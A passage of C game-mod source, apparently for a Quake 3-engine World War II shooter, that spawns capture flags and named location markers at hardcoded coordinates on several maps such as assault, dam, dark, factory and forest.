ent->r.currentOrigin[2]= 207;
level.flagteam = TEAM_FREE;
VectorCopy (ent->r.currentOrigin, ent->s.origin);
G_CallSpawn(ent);*/
//Agent - New Spawn flag + angle also :)
ent = G_Spawn();
ent->classname = "cust_spawnflag";
ent->message= "the Tunnel";
ent->r.currentOrigin[0]= -126;
ent->r.currentOrigin[1]= 3484;
ent->r.currentOrigin[2]= 202; //232 - 30 for underground offset
ent->s.angles[1] = 90; //Agent - let it face towards the center of tunnel so all can see
level.flagteam = TEAM_FREE;
VectorCopy (ent->r.currentOrigin, ent->s.origin);
G_CallSpawn(ent);
}
if(!Q_stricmp(mapName, "norway")){
// Flag Direction Done
ent = G_Spawn();
ent->classname = "cust_spawnflag";
ent->message= "the Garage";
ent->r.currentOrigin[0]= 2509;
ent->r.currentOrigin[1]= -1476;
ent->r.currentOrigin[2]= 463;
ent->s.angles[1] = 0;
level.flagteam = TEAM_FREE;
VectorCopy (ent->r.currentOrigin, ent->s.origin);
G_CallSpawn(ent);
}
if(!Q_stricmp(mapName, "tram")){
// Flag Directon Done
ent = G_Spawn();
ent->classname = "cust_spawnflag";
ent->message= "the Tram Tower";
ent->r.currentOrigin[0]= -128;//-128
ent->r.currentOrigin[1]= -54;//-54
ent->r.currentOrigin[2]= 442;//472
ent->s.angles[1] = -90;
level.flagteam = TEAM_FREE;
VectorCopy (ent->r.currentOrigin, ent->s.origin);
G_CallSpawn(ent);
}
}
void spawnCustomLocations(){
char mapName[MAX_QPATH];
gentity_t *ent;
int SpawnsMade;
trap_Cvar_VariableStringBuffer( "mapname", mapName, sizeof(mapName) );
if(!Q_stricmp(mapName, "assault")){
for(SpawnsMade=0;SpawnsMade < 35; SpawnsMade++){
ent = G_Spawn();
ent->classname = "target_location";
if(SpawnsMade == 0){
ent->message= "Gate Area";
ent->r.currentOrigin[0]= -1151;
ent->r.currentOrigin[1]= 426;
ent->r.currentOrigin[2]= 514;
}else if(SpawnsMade == 1){
ent->message= "Axis Garage";
ent->r.currentOrigin[0]= 2434;
ent->r.currentOrigin[1]= 3309;
ent->r.currentOrigin[2]= 276;
}else if(SpawnsMade == 2){
ent->message= "Northeast Tower";
ent->r.currentOrigin[0]= 3460;
ent->r.currentOrigin[1]= 3200;
ent->r.currentOrigin[2]= 899;
}else if(SpawnsMade == 3){
ent->message= "Radar Dish";
ent->r.currentOrigin[0]= 2849;
ent->r.currentOrigin[1]= 3721;
ent->r.currentOrigin[2]= 911;
}else if(SpawnsMade == 4){
ent->message= "Ventilation Shaft";
ent->r.currentOrigin[0]= 4741;
ent->r.currentOrigin[1]= 6794;
ent->r.currentOrigin[2]= 1180;
}else if(SpawnsMade == 5){
ent->message= "North Clearing";
ent->r.currentOrigin[0]= 4879;
ent->r.currentOrigin[1]= 4330;
ent->r.currentOrigin[2]= 252;
}else if(SpawnsMade == 6){
ent->message= "North Runway";
ent->r.currentOrigin[0]= 4734;
ent->r.currentOrigin[1]= 2687;
ent->r.currentOrigin[2]= 173;
}else if(SpawnsMade == 7){
ent->message= "North Hangar [01]";
ent->r.currentOrigin[0]= 6830;
ent->r.currentOrigin[1]= 1725;
ent->r.currentOrigin[2]= 341;
}else if(SpawnsMade == 8){
ent->message= "Outside North Hangar";
ent->r.currentOrigin[0]= 6051;
ent->r.currentOrigin[1]= 1777;
ent->r.currentOrigin[2]= 192;
}else if(SpawnsMade == 9){
ent->message= "Outside South Hangar";
ent->r.currentOrigin[0]= 5996;
ent->r.currentOrigin[1]= -500;
ent->r.currentOrigin[2]= 177;
}else if(SpawnsMade == 10){
ent->message= "South Hangar [02]";
ent->r.currentOrigin[0]= 6789;
ent->r.currentOrigin[1]= -514;
ent->r.currentOrigin[2]= 259;
}else if(SpawnsMade == 11){
ent->message= "Outside West Hangar";
ent->r.currentOrigin[0]= 3716;
ent->r.currentOrigin[1]= -1024;
ent->r.currentOrigin[2]= 170;
}else if(SpawnsMade == 12){
ent->message= "Southeast Tunnel";
ent->r.currentOrigin[0]= 3444;
ent->r.currentOrigin[1]= -3332;
ent->r.currentOrigin[2]= 285;
}else if(SpawnsMade == 13){
ent->message= "South Runway";
ent->r.currentOrigin[0]= 4750;
ent->r.currentOrigin[1]= -3991;
ent->r.currentOrigin[2]= 256;
}else if(SpawnsMade == 4){
ent->message= "South Runway";
ent->r.currentOrigin[0]= 4747;
ent->r.currentOrigin[1]= -6202;
ent->r.currentOrigin[2]= 252;
}else if(SpawnsMade == 15){
ent->message= "Central Runway";
ent->r.currentOrigin[0]= 4750;
ent->r.currentOrigin[1]= -1989;
ent->r.currentOrigin[2]= 254;
}else if(SpawnsMade == 16){
ent->message= "Central Runway";
ent->r.currentOrigin[0]= 4760;
ent->r.currentOrigin[1]= -636;
ent->r.currentOrigin[2]= 209;
}else if(SpawnsMade == 17){
ent->message= "Central Runway";
ent->r.currentOrigin[0]= 4722;
ent->r.currentOrigin[1]= 1026;
ent->r.currentOrigin[2]= 204;
}else if(SpawnsMade == 18){
ent->message= "Axis Bomber";
ent->r.currentOrigin[0]= 3180;
ent->r.currentOrigin[1]= 1523;
ent->r.currentOrigin[2]= 586;
}else if(SpawnsMade == 19){
ent->message= "Outside Axis Garage";
ent->r.currentOrigin[0]= 2427;
ent->r.currentOrigin[1]= 2473;
ent->r.currentOrigin[2]= 191;
}else if(SpawnsMade == 20){
ent->message= "East Fuel Truck";
ent->r.currentOrigin[0]= 1637;
ent->r.currentOrigin[1]= 1086;
ent->r.currentOrigin[2]= 316;
}else if(SpawnsMade == 21){
ent->message= "West Fuel Truck";
ent->r.currentOrigin[0]= -2113;
ent->r.currentOrigin[1]= 1044;
ent->r.currentOrigin[2]= 282;
}else if(SpawnsMade == 22){
ent->message= "Gate Tower";
ent->r.currentOrigin[0]= -990;
ent->r.currentOrigin[1]= -96;
ent->r.currentOrigin[2]= 527;
}else if(SpawnsMade == 23){
ent->message= "Outside Rocket Base";
ent->r.currentOrigin[0]= -3594;
ent->r.currentOrigin[1]= 3102;
ent->r.currentOrigin[2]= 222;
}else if(SpawnsMade == 24){
ent->message= "Rocket Launch Pad";
ent->r.currentOrigin[0]= -3593;
ent->r.currentOrigin[1]= 4969;
ent->r.currentOrigin[2]= 194;
}else if(SpawnsMade == 25){
ent->message= "Upper Rocket Base";
ent->r.currentOrigin[0]= -3633;
ent->r.currentOrigin[1]= 3747;
ent->r.currentOrigin[2]= 1005;
}else if(SpawnsMade == 26){
ent->message= "Upper Rocket Base";
ent->r.currentOrigin[0]= -3428;
ent->r.currentOrigin[1]= 3825;
ent->r.currentOrigin[2]= 1516;
}else if(SpawnsMade == 27){
ent->message= "Rocket Control Room";
ent->r.currentOrigin[0]= -3816;
ent->r.currentOrigin[1]= 5492;
ent->r.currentOrigin[2]= 1026;
}else if(SpawnsMade == 28){
ent->message= "Rocket Fuel Room";
ent->r.currentOrigin[0]= -3806;
ent->r.currentOrigin[1]= 5438;
ent->r.currentOrigin[2]= 658;
}else if(SpawnsMade == 29){
ent->message= "Rocket Launch Doors";
ent->r.currentOrigin[0]= -3155;
ent->r.currentOrigin[1]= 4785;
ent->r.currentOrigin[2]= 1529;
}else if(SpawnsMade == 30){
ent->message= "Rocket Staging Room";
ent->r.currentOrigin[0]= -4015;
ent->r.currentOrigin[1]= 4878;
ent->r.currentOrigin[2]= 691;
}else if(SpawnsMade == 31){
ent->message= "2nd Floor Hallway";
ent->r.currentOrigin[0]= -4385;
ent->r.currentOrigin[1]= 4511;
ent->r.currentOrigin[2]= 624;
}else if(SpawnsMade == 32){
ent->message= "3rd Floor Hallway";
ent->r.currentOrigin[0]= -4464;
ent->r.currentOrigin[1]= 5503;
ent->r.currentOrigin[2]= 886;
}else if(SpawnsMade == 33){
ent->message= "Locker Room";
ent->r.currentOrigin[0]= -4055;
ent->r.currentOrigin[1]= 4933;
ent->r.currentOrigin[2]= 976;
}else if(SpawnsMade == 34){
ent->message= "Garage Storage Room";
ent->r.currentOrigin[0]= 3239;
ent->r.currentOrigin[1]= 3302;
ent->r.currentOrigin[2]= 165;
}
VectorCopy (ent->r.currentOrigin, ent->s.origin);
G_CallSpawn(ent);
}
}
if(!Q_stricmp(mapName, "boss1")){
for(SpawnsMade=0;SpawnsMade < 4; SpawnsMade++){
ent = G_Spawn();
ent->classname = "target_location";
if(SpawnsMade == 0){
ent->message= "Central Courtyard";
ent->r.currentOrigin[0]= -1583;
ent->r.currentOrigin[1]= 56;
ent->r.currentOrigin[2]= 324;
}else if(SpawnsMade == 1){
ent->message= "Sacred Knife";
ent->r.currentOrigin[0]= -2565;
ent->r.currentOrigin[1]= -749;
ent->r.currentOrigin[2]= 118;
}else if(SpawnsMade == 2){
ent->message= "Crypt";
ent->r.currentOrigin[0]= -2672;
ent->r.currentOrigin[1]= 114;
ent->r.currentOrigin[2]= -48;
}
VectorCopy (ent->r.currentOrigin, ent->s.origin);
G_CallSpawn(ent);
}
}
if(!Q_stricmp(mapName, "dam")){
for(SpawnsMade=0;SpawnsMade < 28; SpawnsMade++){
ent = G_Spawn();
ent->classname = "target_location";
if(SpawnsMade == 0){
ent->message= "North Tower";
ent->r.currentOrigin[0]= -202;
ent->r.currentOrigin[1]= 457;
ent->r.currentOrigin[2]= 2740;
}else if(SpawnsMade == 1){
ent->message= "South Tower";
ent->r.currentOrigin[0]= -764;
ent->r.currentOrigin[1]= -3838;
ent->r.currentOrigin[2]= 2709;
}else if(SpawnsMade == 2){
ent->message= "Generator Room";
ent->r.currentOrigin[0]= 475;
ent->r.currentOrigin[1]= 1438;
ent->r.currentOrigin[2]= 2746;
}else if(SpawnsMade == 3){
ent->message= "Northwest Barracks";
ent->r.currentOrigin[0]= -1337;
ent->r.currentOrigin[1]= 1180;
ent->r.currentOrigin[2]= 2396;
}else if(SpawnsMade == 4){
ent->message= "North Tunnel";
ent->r.currentOrigin[0]= -756;
ent->r.currentOrigin[1]= 1689;
ent->r.currentOrigin[2]= 2375;
}else if(SpawnsMade == 5){
ent->message= "South Tunnel";
ent->r.currentOrigin[0]= -731;
ent->r.currentOrigin[1]= -5881;
ent->r.currentOrigin[2]= 2465;
}else if(SpawnsMade == 6){
ent->message= "South Forest";
ent->r.currentOrigin[0]= 87;
ent->r.currentOrigin[1]= -5043;
ent->r.currentOrigin[2]= 2622;
}else if(SpawnsMade == 7){
ent->message= "Lower Lift";
ent->r.currentOrigin[0]= -2049;
ent->r.currentOrigin[1]= -2527;
ent->r.currentOrigin[2]= 1137;
}else if(SpawnsMade == 8){
ent->message= "Lower Dam Door";
ent->r.currentOrigin[0]= -946;
ent->r.currentOrigin[1]= -3319;
ent->r.currentOrigin[2]= 1088;
}else if(SpawnsMade == 9){
ent->message= "Lower Dam";
ent->r.currentOrigin[0]= -1697;
ent->r.currentOrigin[1]= -2473;
ent->r.currentOrigin[2]= 1096;
}else if(SpawnsMade == 10){
ent->message= "Lower Dam";
ent->r.currentOrigin[0]= -1437;
ent->r.currentOrigin[1]= -3319;
ent->r.currentOrigin[2]= 1102;
}else if(SpawnsMade == 11){
ent->message= "Upper Lift";
ent->r.currentOrigin[0]= -2053;
ent->r.currentOrigin[1]= -1680;
ent->r.currentOrigin[2]= 2378;
}else if(SpawnsMade == 12){
ent->message= "Central Dam Road";
ent->r.currentOrigin[0]= -1551;
ent->r.currentOrigin[1]= -1835;
ent->r.currentOrigin[2]= 2408;
}else if(SpawnsMade == 13){
ent->message= "North Dam Road";
ent->r.currentOrigin[0]= -1337;
ent->r.currentOrigin[1]= 97;
ent->r.currentOrigin[2]= 2472;
}else if(SpawnsMade == 14){
ent->message= "South Dam Road";
ent->r.currentOrigin[0]= -1352;
ent->r.currentOrigin[1]= -3340;
ent->r.currentOrigin[2]= 2362;
}else if(SpawnsMade == 15){
ent->message= "Ducts";
ent->r.currentOrigin[0]= -1378;
ent->r.currentOrigin[1]= 1701;
ent->r.currentOrigin[2]= 2676;
}else if(SpawnsMade == 16){
ent->message= "Ducts";
ent->r.currentOrigin[0]= -602;
ent->r.currentOrigin[1]= 1693;
ent->r.currentOrigin[2]= 2676;
}else if(SpawnsMade == 17){
ent->message= "Generator Room";
ent->r.currentOrigin[0]= -152;
ent->r.currentOrigin[1]= 1434;
ent->r.currentOrigin[2]= 2454;
}else if(SpawnsMade == 18){
ent->message= "Generator Control Room";
ent->r.currentOrigin[0]= 61;
ent->r.currentOrigin[1]= 2438;
ent->r.currentOrigin[2]= 2750;
}else if(SpawnsMade == 19){
ent->message= "North Corridor";
ent->r.currentOrigin[0]= 483;
ent->r.currentOrigin[1]= 2656;
ent->r.currentOrigin[2]= 2690;
}else if(SpawnsMade == 20){
ent->message= "North Corridor";
ent->r.currentOrigin[0]= 102;
ent->r.currentOrigin[1]= 2750;
ent->r.currentOrigin[2]= 2648;
}else if(SpawnsMade == 21){
ent->message= "Generator Room";
ent->r.currentOrigin[0]= 283;
ent->r.currentOrigin[1]= 2119;
ent->r.currentOrigin[2]= 2624;
}else if(SpawnsMade == 22){
ent->message= "Radio Room";
ent->r.currentOrigin[0]= -1298;
ent->r.currentOrigin[1]= 1349;
ent->r.currentOrigin[2]= 2578;
}else if(SpawnsMade == 23){
ent->message= "Central Dam Road";
ent->r.currentOrigin[0]= -1535;
ent->r.currentOrigin[1]= -543;
ent->r.currentOrigin[2]= 2448;
}else if(SpawnsMade == 24){
ent->message= "Central Dam Road";
ent->r.currentOrigin[0]= -1558;
ent->r.currentOrigin[1]= -2563;
ent->r.currentOrigin[2]= 2403;
}else if(SpawnsMade == 25){
ent->message= "South Gate";
ent->r.currentOrigin[0]= -1266;
ent->r.currentOrigin[1]= -3943;
ent->r.currentOrigin[2]= 2551;
}else if(SpawnsMade == 26){
ent->message= "Lift";
ent->r.currentOrigin[0]= -2254;
ent->r.currentOrigin[1]= -1996;
ent->r.currentOrigin[2]= 1700;
}else if(SpawnsMade == 27){
ent->message= "Ducts";
ent->r.currentOrigin[0]= -358;
ent->r.currentOrigin[1]= 1947;
ent->r.currentOrigin[2]= 2676;
}
VectorCopy (ent->r.currentOrigin, ent->s.origin);
G_CallSpawn(ent);
}
}
if(!Q_stricmp(mapName, "dark")){
for(SpawnsMade=0;SpawnsMade < 27; SpawnsMade++){
ent = G_Spawn();
ent->classname = "target_location";
if(SpawnsMade == 0){
ent->message= "Ritual Site";
ent->r.currentOrigin[0]= 3227;
ent->r.currentOrigin[1]= 3103;
ent->r.currentOrigin[2]= 964;
}else if(SpawnsMade == 1){
ent->message= "Ritual Site";
ent->r.currentOrigin[0]= 1705;
ent->r.currentOrigin[1]= 3111;
ent->r.currentOrigin[2]= 904;
}else if(SpawnsMade == 2){
ent->message= "Ritual Site";
ent->r.currentOrigin[0]= 3081;
ent->r.currentOrigin[1]= 1912;
ent->r.currentOrigin[2]= 801;
}else if(SpawnsMade == 3){
ent->message= "Axis Truck";
ent->r.currentOrigin[0]= 267;
ent->r.currentOrigin[1]= 3107;
ent->r.currentOrigin[2]= 975;
}else if(SpawnsMade ==4){
ent->message= "Destroyed Bridge";
ent->r.currentOrigin[0]= -3172;
ent->r.currentOrigin[1]= 3358;
ent->r.currentOrigin[2]= 929;
}else if(SpawnsMade == 5){
ent->message= "Bombed House";
ent->r.currentOrigin[0]= -1389;
ent->r.currentOrigin[1]= 166;
ent->r.currentOrigin[2]= 964;
}else if(SpawnsMade == 6){
ent->message= "<NAME>";
ent->r.currentOrigin[0]= -3060;
ent->r.currentOrigin[1]= 1612;
ent->r.currentOrigin[2]= 1305;
}else if(SpawnsMade == 7){
ent->message= "Cottage";
ent->r.currentOrigin[0]= 1219;
ent->r.currentOrigin[1]= -1698;
ent->r.currentOrigin[2]= 622;
}else if(SpawnsMade == 8){
ent->message= "Cottage";
ent->r.currentOrigin[0]= 1219;
ent->r.currentOrigin[1]= -1698;
ent->r.currentOrigin[2]= 909;
}else if(SpawnsMade == 9){
ent->message= "South Cemetery";
ent->r.currentOrigin[0]= -763;
ent->r.currentOrigin[1]= -1831;
ent->r.currentOrigin[2]= 586;
}else if(SpawnsMade == 10){
ent->message= "North Cemetery";
ent->r.currentOrigin[0]= 617;
ent->r.currentOrigin[1]= 67;
ent->r.currentOrigin[2]= 858;
}else if(SpawnsMade == 11){
ent->message= "Chateau Courtyard";
ent->r.currentOrigin[0]= -85;
ent->r.currentOrigin[1]= -4640;
ent->r.currentOrigin[2]= 219;
}else if(SpawnsMade == 12){
ent->message= "Chateau Main Gate";
ent->r.currentOrigin[0]= -90;
ent->r.currentOrigin[1]= -3783;
ent->r.currentOrigin[2]= 158;
}else if(SpawnsMade == 13){
ent->message= "Guard Post";
ent->r.currentOrigin[0]= 3275;
ent->r.currentOrigin[1]= -2189;
ent->r.currentOrigin[2]= 222;
}else if(SpawnsMade == 14){
ent->message= "Chateau";
ent->r.currentOrigin[0]= -90;
ent->r.currentOrigin[1]= -5545;
ent->r.currentOrigin[2]= 182;
}else if(SpawnsMade == 15){
ent->message= "Western Pass";
ent->r.currentOrigin[0]= -2911;
ent->r.currentOrigin[1]= -1726;
ent->r.currentOrigin[2]= 457;
}else if(SpawnsMade == 16){
ent->message= "Western Pass";
ent->r.currentOrigin[0]= -2546;
ent->r.currentOrigin[1]= -2878;
ent->r.currentOrigin[2]= 262;
}else if(SpawnsMade == 17){
ent->message= "Western Pass";
ent->r.currentOrigin[0]= -2405;
ent->r.currentOrigin[1]= -837;
ent->r.currentOrigin[2]= 408;
}else if(SpawnsMade == 18){
ent->message= "Western Pass";
ent->r.currentOrigin[0]= -2106;
ent->r.currentOrigin[1]= -1839;
ent->r.currentOrigin[2]= 606;
}else if(SpawnsMade == 19){
ent->message= "Eastern Pass";
ent->r.currentOrigin[0]= 1822;
ent->r.currentOrigin[1]= -604;
ent->r.currentOrigin[2]= 626;
}else if(SpawnsMade == 20){
ent->message= "Eastern Pass";
ent->r.currentOrigin[0]= 2056;
ent->r.currentOrigin[1]= 16;
ent->r.currentOrigin[2]= 550;
}else if(SpawnsMade == 21){
ent->message= "Eastern Pass";
ent->r.currentOrigin[0]= 1476;
ent->r.currentOrigin[1]= 658;
ent->r.currentOrigin[2]= 627;
}else if(SpawnsMade == 22){
ent->message= "Eastern Pass";
ent->r.currentOrigin[0]= 1345;
ent->r.currentOrigin[1]= 131;
ent->r.currentOrigin[2]= 739;
}else if(SpawnsMade == 23){
ent->message= "North Corridor";
ent->r.currentOrigin[0]= -1017;
ent->r.currentOrigin[1]= 2895;
ent->r.currentOrigin[2]= 912;
}else if(SpawnsMade == 24){
ent->message= "Chateau";
ent->r.currentOrigin[0]= -1431;
ent->r.currentOrigin[1]= -2978;
ent->r.currentOrigin[2]= 148;
}else if(SpawnsMade == 25){
ent->message= "Chateau";
ent->r.currentOrigin[0]= 1494;
ent->r.currentOrigin[1]= -3050;
ent->r.currentOrigin[2]= 114;
}else if(SpawnsMade == 26){
ent->message= "Central Pass";
ent->r.currentOrigin[0]= -314;
ent->r.currentOrigin[1]= -869;
ent->r.currentOrigin[2]= 599;
}
VectorCopy (ent->r.currentOrigin, ent->s.origin);
G_CallSpawn(ent);
}
}
if(!Q_stricmp(mapName, "factory")){
for(SpawnsMade=0;SpawnsMade < 32; SpawnsMade++){
ent = G_Spawn();
ent->classname = "target_location";
if(SpawnsMade == 0){
ent->message= "The Bomb";
ent->r.currentOrigin[0]= 2248;
ent->r.currentOrigin[1]= -1086;
ent->r.currentOrigin[2]= 384;
}else if(SpawnsMade == 1){
ent->message= "Stairwell";
ent->r.currentOrigin[0]= 2564;
ent->r.currentOrigin[1]= -438;
ent->r.currentOrigin[2]= 261;
}else if(SpawnsMade == 2){
ent->message= "East Loading Platform";
ent->r.currentOrigin[0]= 1007;
ent->r.currentOrigin[1]= -580;
ent->r.currentOrigin[2]= 214;
}else if(SpawnsMade == 3){
ent->message= "Axis Assault Vehicle";
ent->r.currentOrigin[0]= 1209;
ent->r.currentOrigin[1]= 108;
ent->r.currentOrigin[2]= 155;
}else if(SpawnsMade == 4){
ent->message= "Office";
ent->r.currentOrigin[0]= 779;
ent->r.currentOrigin[1]= -1093;
ent->r.currentOrigin[2]= 417;
}else if(SpawnsMade == 5){
ent->message= "Sewers";
ent->r.currentOrigin[0]= 769;
ent->r.currentOrigin[1]= 265;
ent->r.currentOrigin[2]= -187;
}else if(SpawnsMade == 6){
ent->message= "Sewers";
ent->r.currentOrigin[0]= 1;
ent->r.currentOrigin[1]= 299;
ent->r.currentOrigin[2]= -195;
}else if(SpawnsMade == 7){
ent->message= "Sewers";
ent->r.currentOrigin[0]= 273;
ent->r.currentOrigin[1]= -250;
ent->r.currentOrigin[2]= -222;
}else if(SpawnsMade == 8){
ent->message= "Sewers";
ent->r.currentOrigin[0]= 1168;
ent->r.currentOrigin[1]= 283;
ent->r.currentOrigin[2]= -203;
}else if(SpawnsMade == 9){
ent->message= "Sewers";
ent->r.currentOrigin[0]= 1396;
ent->r.currentOrigin[1]= -260;
ent->r.currentOrigin[2]= -236;
}else if(SpawnsMade == 10){
ent->message= "West Loading Platform";
ent->r.currentOrigin[0]= 65;
ent->r.currentOrigin[1]= -532;
ent->r.currentOrigin[2]= 118;
}else if(SpawnsMade == 11){
ent->message= "East Factory [2nd Floor]";
ent->r.currentOrigin[0]= 1502;
ent->r.currentOrigin[1]= -976;
ent->r.currentOrigin[2]= 374;
}else if(SpawnsMade == 12){
ent->message= "East Factory [2nd Floor]";
ent->r.currentOrigin[0]= 2037;
ent->r.currentOrigin[1]= -447;
ent->r.currentOrigin[2]= 330;
}else if(SpawnsMade == 13){
ent->message= "East Factory [2nd Floor]";
ent->r.currentOrigin[0]= 2177;
ent->r.currentOrigin[1]= -836;
ent->r.currentOrigin[2]= 316;
}else if(SpawnsMade == 14){
ent->message= "East Factory [1st Floor]";
ent->r.currentOrigin[0]= 2045;
ent->r.currentOrigin[1]= -444;
ent->r.currentOrigin[2]= 131;
}else if(SpawnsMade == 15){
ent->message= "East Factory [1st Floor]";
ent->r.currentOrigin[0]= 1553;
ent->r.currentOrigin[1]= -576;
ent->r.currentOrigin[2]= 146;
}else if(SpawnsMade == 16){
ent->message= "East Factory [1st Floor]";
ent->r.currentOrigin[0]= 1550;
ent->r.currentOrigin[1]= -192;
ent->r.currentOrigin[2]= 146;
}else if(SpawnsMade == 17){
ent->message= "East Factory Entrance";
ent->r.currentOrigin[0]= 1522;
ent->r.currentOrigin[1]= 185;
ent->r.currentOrigin[2]= 54;
}else if(SpawnsMade == 18){
ent->message= "East Factory [2nd Floor]";
ent->r.currentOrigin[0]= 1608;
ent->r.currentOrigin[1]= -557;
ent->r.currentOrigin[2]= 337;
}else if(SpawnsMade == 19){
ent->message= "North Factory";
ent->r.currentOrigin[0]= 710;
ent->r.currentOrigin[1]= 636;
ent->r.currentOrigin[2]= 329;
}else if(SpawnsMade == 20){
ent->message= "North Factory";
ent->r.currentOrigin[0]= 41;
ent->r.currentOrigin[1]= 623;
ent->r.currentOrigin[2]= 332;
}else if(SpawnsMade == 21){
ent->message= "North Factory";
ent->r.currentOrigin[0]= 634;
ent->r.currentOrigin[1]= 1086;
ent->r.currentOrigin[2]= 341;
}else if(SpawnsMade == 22){
ent->message= "Bombed Factory";
ent->r.currentOrigin[0]= 1;
ent->r.currentOrigin[1]= 131;
ent->r.currentOrigin[2]= 191;
}else if(SpawnsMade == 23){
ent->message= "Bombed Factory";
ent->r.currentOrigin[0]= 396;
ent->r.currentOrigin[1]= 54;
ent->r.currentOrigin[2]= 153;
}else if(SpawnsMade == 24){
ent->message= "Bombed Factory";
ent->r.currentOrigin[0]= 779;
ent->r.currentOrigin[1]= 55;
ent->r.currentOrigin[2]= 112;
}else if(SpawnsMade == 25){
ent->message= "Bombed Factory";
ent->r.currentOrigin[0]= 361;
ent->r.currentOrigin[1]= 184;
ent->r.currentOrigin[2]= 393;
}else if(SpawnsMade == 26){
ent->message= "West Factory [2nd Floor]";
ent->r.currentOrigin[0]= 561;
ent->r.currentOrigin[1]= -508;
ent->r.currentOrigin[2]= 401;
}else if(SpawnsMade == 27){
ent->message= "West Factory [2nd Floor]";
ent->r.currentOrigin[0]= 561;
ent->r.currentOrigin[1]= -852;
ent->r.currentOrigin[2]= 385;
}else if(SpawnsMade == 28){
ent->message= "West Factory [1st Floor]";
ent->r.currentOrigin[0]= 239;
ent->r.currentOrigin[1]= -1083;
ent->r.currentOrigin[2]= 203;
}else if(SpawnsMade == 29){
ent->message= "West Factory [1st Floor]";
ent->r.currentOrigin[0]= 698;
ent->r.currentOrigin[1]= -839;
ent->r.currentOrigin[2]= 77;
}else if(SpawnsMade == 30){
ent->message= "West Factory [1st Floor]";
ent->r.currentOrigin[0]= 591;
ent->r.currentOrigin[1]= -430;
ent->r.currentOrigin[2]= 113;
}else if(SpawnsMade == 31){
ent->message= "Ladder";
ent->r.currentOrigin[0]= 1009;
ent->r.currentOrigin[1]= -63;
ent->r.currentOrigin[2]= 421;
}
VectorCopy (ent->r.currentOrigin, ent->s.origin);
G_CallSpawn(ent);
}
}
if(!Q_stricmp(mapName, "forest")){
for(SpawnsMade=0;SpawnsMade < 33; SpawnsMade++){
ent = G_Spawn();
ent->classname = "target_location";
if(SpawnsMade == 0){
ent->message= "Tunnel";
ent->r.currentOrigin[0]= -122;
ent->r.currentOrigin[1]= 3582;
ent->r.currentOrigin[2]= 388;
}else if(SpawnsMade == 1){
ent->message= "western Tower";
ent->r.currentOrigin[0]= -3199;
ent->r.currentOrigin[1]= 3522;
ent->r.currentOrigin[2]= 935;
}else if(SpawnsMade == 2){
ent->message= "Sniper Hill";
ent->r.currentOrigin[0]= -2614;
ent->r.currentOrigin[1]= 5202;
ent->r.currentOrigin[2]= 1262;
}else if(SpawnsMade == 3){
ent->message= "Axis Spawn";
ent->r.currentOrigin[0]= -5974;
ent->r.currentOrigin[1]= -895;
ent->r.currentOrigin[2]= 338;
}else if(SpawnsMade == 4){
ent->message= "Water Tower";
ent->r.currentOrigin[0]= -4132;
ent->r.currentOrigin[1]= -413;
ent->r.currentOrigin[2]= 1069;
}else if(SpawnsMade == 5){
ent->message= "Southeast Axis Base";
ent->r.currentOrigin[0]= -2501;
ent->r.currentOrigin[1]= -1122;
ent->r.currentOrigin[2]= 563;
}else if(SpawnsMade == 6){
ent->message= "Axis Base Gate";
ent->r.currentOrigin[0]= -2693;
ent->r.currentOrigin[1]= 550;
ent->r.currentOrigin[2]= 491;
}else if(SpawnsMade == 7){
ent->message= "Northwest Axis Base";
ent->r.currentOrigin[0]= -4962;
ent->r.currentOrigin[1]= 397;
ent->r.currentOrigin[2]= 467;
}else if(SpawnsMade == 8){
ent->message= "Outside Axis Base";
ent->r.currentOrigin[0]= -2248;
ent->r.currentOrigin[1]= 2844;
ent->r.currentOrigin[2]= 318;
}else if(SpawnsMade == 9){
ent->message= "Behind Axis Base";
ent->r.currentOrigin[0]= -5146;
ent->r.currentOrigin[1]= -2306;
ent->r.currentOrigin[2]= 418;
}else if(SpawnsMade == 10){
ent->message= "Behind Axis Base";
ent->r.currentOrigin[0]= -2802;
ent->r.currentOrigin[1]= -2108;
ent->r.currentOrigin[2]= 585;
}else if(SpawnsMade == 11){
ent->message= "Western Mountains";
ent->r.currentOrigin[0]= -5008;
ent->r.currentOrigin[1]= 4052;
ent->r.currentOrigin[2]= 595;
}else if(SpawnsMade == 12){
ent->message= "Passage Entrance";
ent->r.currentOrigin[0]= -1424;
ent->r.currentOrigin[1]= 5000;
ent->r.currentOrigin[2]= 484;
}else if(SpawnsMade == 13){
ent->message= "Tunnel Passage";
ent->r.currentOrigin[0]= -131;
ent->r.currentOrigin[1]= 4988;
ent->r.currentOrigin[2]= 259;
}else if(SpawnsMade == 14){
ent->message= "Northern Tower";
ent->r.currentOrigin[0]= 2177;
ent->r.currentOrigin[1]= 4482;
ent->r.currentOrigin[2]= 1133;
}else if(SpawnsMade == 15){
ent->message= "Northeast Mountains";
ent->r.currentOrigin[0]= 4445;
ent->r.currentOrigin[1]= 4518;
ent->r.currentOrigin[2]= 670;
}else if(SpawnsMade == 16){
ent->message= "Bridge";
ent->r.currentOrigin[0]= 2186;
ent->r.currentOrigin[1]= 1659;
ent->r.currentOrigin[2]= 298;
}else if(SpawnsMade == 17){
ent->message= "Southern Tower";
ent->r.currentOrigin[0]= 3418;
ent->r.currentOrigin[1]= 647;
ent->r.currentOrigin[2]= 878;
}else if(SpawnsMade == 18){
ent->message= "Cottage";
ent->r.currentOrigin[0]= 2682;
ent->r.currentOrigin[1]= -1953;
ent->r.currentOrigin[2]= 504;
}else if(SpawnsMade == 19){
ent->message= "South Forest";
ent->r.currentOrigin[0]= 1318;
ent->r.currentOrigin[1]= -3089;
ent->r.currentOrigin[2]= 472;
}else if(SpawnsMade == 20){
ent->message= "Allied Spawn";
ent->r.currentOrigin[0]= 5897;
ent->r.currentOrigin[1]= -1168;
ent->r.currentOrigin[2]= 346;
}else if(SpawnsMade == 21){
ent->message= "Eastern Mountains";
ent->r.currentOrigin[0]= 5853;
ent->r.currentOrigin[1]= 1622;
ent->r.currentOrigin[2]= 740;
}else if(SpawnsMade == 22){
ent->message= "Forest River";
ent->r.currentOrigin[0]= 3980;
ent->r.currentOrigin[1]= 2835;
ent->r.currentOrigin[2]= 352;
}else if(SpawnsMade == 23){
ent->message= "Allied Tunnel Entrance";
ent->r.currentOrigin[0]= 1939;
ent->r.currentOrigin[1]= 3269;
ent->r.currentOrigin[2]= 468;
}else if(SpawnsMade == 24){
ent->message= "Cottage Road";
ent->r.currentOrigin[0]= 3371;
ent->r.currentOrigin[1]= -763;
ent->r.currentOrigin[2]= 364;
}else if(SpawnsMade == 25){
ent->message= "Southeast Mountain";
ent->r.currentOrigin[0]= 5012;
ent->r.currentOrigin[1]= 1334;
ent->r.currentOrigin[2]= 1119;
